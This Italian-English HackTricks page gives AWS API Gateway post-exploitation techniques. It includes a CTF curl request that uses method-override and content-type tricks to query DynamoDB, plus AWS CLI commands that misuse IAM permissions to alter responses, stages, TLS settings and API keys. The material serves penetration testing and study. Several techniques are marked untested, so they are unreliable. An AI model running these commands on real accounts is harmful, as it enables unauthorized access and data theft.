AWS - API Gateway Post Exploitation

Reading time: 7 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

API Gateway

Per maggiori informazioni controlla:

AWS - API Gateway Enum

Accesso ad API non esposte

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, esporre l'endpoint in una rete a cui hai accesso (potenzialmente via una macchina EC2) e assegnare un security group che permetta tutte le connessioni.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.

Bypass del passthrough del body della richiesta

This technique was found in this CTF writeup.

As indicated in the AWS documentation in the PassthroughBehavior section, by default, the value WHEN_NO_MATCH , when checking the Content-Type header of the request, will pass the request to the back end with no transformation.

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Tuttavia, inviare una richiesta con Content-type: text/json avrebbe aggirato quel filtro.

Infine, poiché l'API Gateway consentiva soltanto Get e Options, era possibile inviare una query arbitraria a dynamoDB senza alcun limite inviando una richiesta POST con la query nel body e usando l'header X-HTTP-Method-Override: GET:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Nella sezione Enumeration puoi vedere come ottenere il usage plan delle chiavi. Se possiedi la chiave ed è limitata a X utilizzi al mese, puoi semplicemente usarla e causare un DoS.

La API Key deve semplicemente essere inserita dentro un HTTP header chiamato x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateGatewayResponse e apigateway:CreateDeployment può modificare una Gateway Response esistente per includere header personalizzati o response templates che leak informazioni sensibili o eseguono script dannosi.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Perdita di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.

note

Da testare

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:UpdateStage e apigateway:CreateDeployment può modificare uno stage esistente di API Gateway per reindirizzare il traffico verso uno stage diverso o cambiare le impostazioni di caching per ottenere accesso non autorizzato ai dati memorizzati nella cache.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Accesso non autorizzato a dati memorizzati nella cache, interruzione o intercettazione del traffico API.

note

Da testare

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaccante con i permessi apigateway:PutMethodResponse e apigateway:CreateDeployment può modificare la risposta del metodo di un metodo esistente di API Gateway REST API per includere header personalizzati o template di risposta che leak informazioni sensibili o eseguano script malevoli.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Leakage di informazioni sensibili, esecuzione di script malevoli o accesso non autorizzato a risorse API.

note

Necessita di test

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attacker con i permessi apigateway:UpdateRestApi e apigateway:CreateDeployment può modificare le impostazioni della REST API di API Gateway per disabilitare il logging o cambiare la versione minima di TLS, indebolendo potenzialmente la sicurezza dell'API.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impatto potenziale: Indebolimento della sicurezza dell'API, potenzialmente consentendo accesso non autorizzato o esponendo informazioni sensibili.

note

Da testare

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attacker con i permessi apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, e apigateway:CreateUsagePlanKey può creare nuove API keys, associarle a usage plans e poi usare queste keys per ottenere accesso non autorizzato alle APIs.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Impatto potenziale: Accesso non autorizzato alle risorse API, aggirando i controlli di sicurezza.

note

Da testare

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks